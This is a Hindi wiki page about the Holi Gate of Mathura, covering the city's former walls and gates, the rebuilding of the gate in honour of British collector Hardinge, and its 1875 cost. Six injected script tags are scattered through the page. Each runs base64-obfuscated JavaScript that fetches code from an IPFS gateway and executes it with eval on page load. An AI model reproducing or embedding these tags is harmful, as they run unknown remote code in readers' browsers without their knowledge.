होली दरवाज़ा

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
अश्वनी भाटिया (चर्चा | योगदान) द्वारा परिवर्तित ०६:०९, १ अगस्त २०१० का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

होली दरवाज़ा / Holi Gate

होली दरवाज़ा
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>होली दरवाज़ा, मथुरा
Holi Gate, Mathura

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

होली दरवाज़ा, मथुरा
Holi Gate, Mathura

मथुरा शहर के चारों ओर एक दीवार होने का प्रमाण मिलता है जिसका ज़िक्र एफ़ एस ग्राउज़ ने भी किया है। चारों दिशाओं में भव्य दरवाज़े भी थे, जिनके नाम थे।

  1. वृन्दावन दरवाज़ा
  2. डीग दरवाज़ा
  3. भरतपुर दरवाज़ा
  4. होली दरवाज़ा

वृन्दावन, डीग,भरतपुर दरवाज़ा तो केवल नाम ही शेष हैं। अग्रेज़ी शासन में मथुरा के ज़िलाधिकारी ब्रॅड फ़ोर्ड हार्डिंग के सम्मान में होली दरवाज़ा दोबारा सुधरवाया और बनवाया गया। नगर पालिका के एक योग्य इंजीनियर यूसुफ़ ने इसका मौजूदा नक़्शा तैयार किया। जो बेहतरी सूजबूझ दर्शाता है। हार्डिंग के सम्मान में इसका नाम हार्डिंग गेट रखा गया। किन्तु इसको पहले सिटी गेट और बाद में होली दरवाज़ा नाम से ही पुकारा गया। इसके ऊपर क्युपोला (cupola) बनाया गया।(क्युपोला एक इमारतों के शीर्ष पर बनने वाले छतरी नुमा ग़ुम्मद को कहते हैं)। ऊपर चार कियोस्क (kiosques / Kiosk) बनाये गए हैं ('कियोस्क' हवादार छतरी, बरसाती जैसे निर्माण को कहते हैं यह गोल भी हो सकता है और षटकोणीय या पंच कोणीय भी।)। इन अतिरिक्त निर्माणों में रु 3493 का ख़र्च आया था। सन 1875 में दो दुकानों सहित कुल ख़र्च रु 13731 आया।

वीथिका

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>